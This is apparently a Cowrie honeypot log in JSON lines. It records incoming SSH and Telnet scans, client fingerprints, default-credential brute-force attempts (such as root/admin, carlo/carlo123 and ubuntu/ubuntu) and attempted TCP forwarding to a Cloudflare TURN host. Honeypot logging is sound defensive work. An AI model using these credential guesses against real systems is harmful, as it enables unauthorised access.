{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":35888,"dst_ip":"10.17.0.5","dst_port":22,"session":"c79bcff5a770","protocol":"ssh","message":"New connection: 2.57.122.208:35888 (10.17.0.5:22) [session: c79bcff5a770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:40:13.377972Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:40:13.488284Z","src_ip":"2.57.122.208","session":"c79bcff5a770","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.85.177.131","src_port":46956,"dst_ip":"159.203.135.109","dst_port":23,"session":"3435eaf0917b","protocol":"telnet","message":"New connection: 61.85.177.131:46956 (159.203.135.109:23) [session: 3435eaf0917b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:41:27.352918Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":60306,"dst_ip":"10.17.0.5","dst_port":22,"session":"d061064a9ab4","protocol":"ssh","message":"New connection: 45.148.10.121:60306 (10.17.0.5:22) [session: d061064a9ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:41:33.127118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:41:33.137223Z","src_ip":"45.148.10.121","session":"d061064a9ab4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:41:33.217004Z","src_ip":"45.148.10.121","session":"d061064a9ab4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:41:33.498817Z","src_ip":"45.148.10.121","session":"d061064a9ab4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:41:33.588185Z","session":"d061064a9ab4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:41:33.669882Z","src_ip":"45.148.10.121","session":"d061064a9ab4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:41:33.673428Z","src_ip":"45.148.10.121","session":"d061064a9ab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:41:33.758275Z","src_ip":"45.148.10.121","session":"d061064a9ab4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":60314,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9e41f98a6e4","protocol":"ssh","message":"New connection: 45.148.10.121:60314 (10.17.0.5:22) [session: a9e41f98a6e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:41:33.834362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:41:33.838795Z","src_ip":"45.148.10.121","session":"a9e41f98a6e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:41:33.920712Z","src_ip":"45.148.10.121","session":"a9e41f98a6e4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:41:34.160782Z","src_ip":"45.148.10.121","session":"a9e41f98a6e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:41:34.243277Z","session":"a9e41f98a6e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:41:34.324616Z","src_ip":"45.148.10.121","session":"a9e41f98a6e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:41:34.328467Z","src_ip":"45.148.10.121","session":"a9e41f98a6e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:41:34.411406Z","src_ip":"45.148.10.121","session":"a9e41f98a6e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.727067947387695,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:41:41.079858Z","src_ip":"61.85.177.131","session":"3435eaf0917b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":14835,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b3ab48c3489","protocol":"ssh","message":"New connection: 213.209.159.159:14835 (159.203.135.109:22) [session: 7b3ab48c3489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:44:20.413543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:44:20.418357Z","src_ip":"213.209.159.159","session":"7b3ab48c3489","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:44:20.500549Z","src_ip":"213.209.159.159","session":"7b3ab48c3489","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"carlo","password":"carlo","message":"login attempt [carlo/carlo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:44:20.903664Z","src_ip":"213.209.159.159","session":"7b3ab48c3489","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"carlo","password":"carlo1","message":"login attempt [carlo/carlo1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:44:21.993475Z","src_ip":"213.209.159.159","session":"7b3ab48c3489","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"carlo","password":"carlo123","message":"login attempt [carlo/carlo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:44:23.079871Z","src_ip":"213.209.159.159","session":"7b3ab48c3489","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"carlo","password":"carlo1234","message":"login attempt [carlo/carlo1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:44:24.166095Z","src_ip":"213.209.159.159","session":"7b3ab48c3489","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"carlo","password":"carlo12345","message":"login attempt [carlo/carlo12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:44:25.252132Z","src_ip":"213.209.159.159","session":"7b3ab48c3489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:44:26.337682Z","src_ip":"213.209.159.159","session":"7b3ab48c3489","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":52932,"dst_ip":"10.17.0.5","dst_port":22,"session":"776c4b6b1919","protocol":"ssh","message":"New connection: 2.57.122.208:52932 (10.17.0.5:22) [session: 776c4b6b1919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:44:31.160365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:44:31.275462Z","src_ip":"2.57.122.208","session":"776c4b6b1919","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:44:31.279790Z","src_ip":"2.57.122.208","session":"776c4b6b1919","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:44:31.862148Z","src_ip":"2.57.122.208","session":"776c4b6b1919","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:44:33.091174Z","src_ip":"2.57.122.208","session":"776c4b6b1919","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":36790,"dst_ip":"10.17.0.5","dst_port":22,"session":"509f26a061a6","protocol":"ssh","message":"New connection: 2.57.122.208:36790 (10.17.0.5:22) [session: 509f26a061a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:46:55.259263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:46:55.326339Z","src_ip":"2.57.122.208","session":"509f26a061a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:46:55.443709Z","src_ip":"2.57.122.208","session":"509f26a061a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:46:55.973556Z","src_ip":"2.57.122.208","session":"509f26a061a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:46:57.214686Z","src_ip":"2.57.122.208","session":"509f26a061a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.174","src_port":43690,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e0bc1a111cb","protocol":"telnet","message":"New connection: 130.12.180.174:43690 (159.203.135.109:23) [session: 5e0bc1a111cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:48:37.213493Z"}
{"eventid":"cowrie.session.closed","duration":0.5177538394927979,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:48:37.731143Z","src_ip":"130.12.180.174","session":"5e0bc1a111cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":53054,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9df2d8b1896","protocol":"ssh","message":"New connection: 2.57.122.208:53054 (10.17.0.5:22) [session: d9df2d8b1896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:49:23.487026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:49:23.515815Z","src_ip":"2.57.122.208","session":"d9df2d8b1896","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:49:23.643188Z","src_ip":"2.57.122.208","session":"d9df2d8b1896","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:49:24.072623Z","src_ip":"2.57.122.208","session":"d9df2d8b1896","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:49:25.323328Z","src_ip":"2.57.122.208","session":"d9df2d8b1896","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":53696,"dst_ip":"10.17.0.5","dst_port":22,"session":"9164c7bcb721","protocol":"ssh","message":"New connection: 2.57.122.208:53696 (10.17.0.5:22) [session: 9164c7bcb721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:51:44.111728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:51:44.235315Z","src_ip":"2.57.122.208","session":"9164c7bcb721","protocol":"ssh"}
